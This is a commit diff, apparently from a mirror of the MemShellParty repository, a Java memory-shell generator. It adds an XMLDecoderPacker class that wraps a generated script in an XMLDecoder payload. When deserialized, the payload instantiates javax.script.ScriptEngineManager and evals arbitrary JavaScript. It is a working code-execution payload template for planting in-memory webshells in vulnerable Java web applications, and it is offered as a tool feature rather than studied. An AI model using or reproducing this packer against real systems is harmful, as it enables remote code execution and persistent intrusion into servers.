mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support XMLDecoder packer
This commit is contained in:
@@ -41,6 +41,7 @@ import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker;
|
||||
import com.reajason.javaweb.packer.spel.SpELSpringUtilsPacker;
|
||||
import com.reajason.javaweb.packer.velocity.VelocityPacker;
|
||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
|
||||
import lombok.Getter;
|
||||
|
||||
import java.util.List;
|
||||
@@ -110,6 +111,7 @@ public enum Packers {
|
||||
Freemarker(new FreemarkerPacker()),
|
||||
Velocity(new VelocityPacker()),
|
||||
JinJava(new JinJavaPacker()),
|
||||
XMLDecoder(new XMLDecoderPacker()),
|
||||
|
||||
/**
|
||||
* Java 反序列化打包器
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
package com.reajason.javaweb.packer.xmldecoder;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/7/22
|
||||
*/
|
||||
public class XMLDecoderPacker implements Packer {
|
||||
String template = "<java>\n" +
|
||||
" <object class=\"javax.script.ScriptEngineManager\">\n" +
|
||||
" <void method=\"getEngineByName\">\n" +
|
||||
" <string>js</string>\n" +
|
||||
" <void method=\"eval\">\n" +
|
||||
" <string>{{script}}</string>\n" +
|
||||
" </void>\n" +
|
||||
" </void>\n" +
|
||||
" </object>\n" +
|
||||
"</java>";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user